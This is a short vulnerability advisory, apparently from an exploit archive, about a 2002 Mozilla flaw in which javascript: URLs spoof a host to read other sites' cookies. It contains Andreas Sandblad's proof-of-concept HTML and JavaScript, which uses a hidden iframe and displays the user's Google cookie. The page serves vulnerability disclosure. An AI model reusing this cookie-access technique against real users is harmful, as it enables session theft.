Mozilla JavaScript URL Host Spoofing Arbitrary Cookie Access Vulnerability

Mozilla JavaScript URL Host Spoofing Arbitrary Cookie Access Vulnerability

Andreas Sandblad <sandblad@acc.umu.se> has provided the following example exploit:

<pre>
Title: Mozilla cookie stealing/spoofing
Date: [2002-07-24]
Impact: Steal/spoof arbitrary cookie _ _
using javascript: URLs o' \,=./ `o
Author: Andreas Sandblad, sandblad@acc.umu.se (o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
This demo will display your google cookie (must exist).
</pre>

<body onload=init()>
<iframe name=f height=0 width=0 style=visibility:hidden></iframe>
<script>
function init(){
f.location = "javascript://www.google.com/\n"+
"'<body onload=alert(document.cookie)>'";
}
</script>